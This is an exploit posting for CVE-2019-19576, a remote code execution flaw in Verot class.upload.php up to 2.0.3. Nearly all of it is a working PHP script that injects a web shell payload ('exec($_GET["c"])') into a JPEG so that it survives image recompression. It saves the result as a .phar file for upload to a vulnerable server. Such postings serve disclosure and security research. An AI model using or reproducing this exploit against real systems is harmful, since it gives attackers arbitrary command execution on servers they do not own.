Verot 2.0.3 Remote Code Execution

Verot version 2.0.3 suffers from a remote code execution vulnerability.


MD5 | 6739d5e2efeb9ae98d493066bae7aa08

# Exploit Title: Verot 2.0.3 - Remote Code Execution
# Date: 2019-12-05
# Exploit Author: Jinny Ramsmark
# Vendor Homepage: https://www.verot.net/php_class_upload.htm
# Software Link: https://github.com/verot/class.upload.php
# Version: <=2.0.3
# Tested on: Ubuntu 19.10, PHP 7.3, Apache/2.4.41
# CVE : CVE-2019-19576

<?php
#Title: jpeg payload generator for file upload RCE
#Author: Jinny Ramsmark
#Github: https://github.com/jra89/CVE-2019-19576
#Other: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19576
#Usage: php inject.php
#Output: image.jpg.phar is the file to be used for upload and exploitation

#This script assumes no special transforming is done on the image for this specific CVE.
#It can be modified however for different sizes and so on (x,y vars).

ini_set('display_errors', 1);
error_reporting(E_PARSE);
#requires php, php-gd

$orig = 'image.jpg';
$code = '<?=exec($_GET["c"])?>';
$quality = "85";
$base_url = "http://lorempixel.com";

echo "-=Imagejpeg injector 1.7=-\n";

do
{
$x = 100;
$y = 100;
$url = $base_url . "/$x/$y/";

echo "[+] Fetching image ($x X $y) from $url\n";
file_put_contents($orig, file_get_contents($url));
} while(!tryInject($orig, $code, $quality));

echo "[+] It seems like it worked!\n";
echo "[+] Result file: image.jpg.phar\n";

function tryInject($orig, $code, $quality)
{
$result_file = 'image.jpg.phar';
$tmp_filename = $orig . '_mod2.jpg';

//Create base image and load its data
$src = imagecreatefromjpeg($orig);

imagejpeg($src, $tmp_filename, $quality);
$data = file_get_contents($tmp_filename);
$tmpData = array();

echo "[+] Jumping to end byte\n";
$start_byte = findStart($data);

echo "[+] Searching for valid injection point\n";
for($i = strlen($data)-1; $i > $start_byte; --$i)
{
$tmpData = $data;
for($n = $i, $z = (strlen($code)-1); $z >= 0; --$z, --$n)
{
$tmpData[$n] = $code[$z];
}

$src = imagecreatefromstring($tmpData);
imagejpeg($src, $result_file, $quality);

if(checkCodeInFile($result_file, $code))
{
unlink($tmp_filename);
unlink($result_file);
sleep(1);

file_put_contents($result_file, $tmpData);
echo "[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed\n";

sleep(1);
$src = imagecreatefromjpeg($result_file);

return true;
}
else
{
unlink($result_file);
}
}
unlink($orig);
unlink($tmp_filename);
return false;
}

function findStart($str)
{
for($i = 0; $i < strlen($str); ++$i)
{
if(ord($str[$i]) == 0xFF && ord($str[$i+1]) == 0xDA)
{
return $i+2;
}
}

return -1;
}

function checkCodeInFile($file, $code)
{
if(file_exists($file))
{
$contents = loadFile($file);
}
else
{
$contents = "0";
}

return strstr($contents, $code);
}

function loadFile($file)
{
$handle = fopen($file, "r");
$buffer = fread($handle, filesize($file));
fclose($handle);

return $buffer;
}

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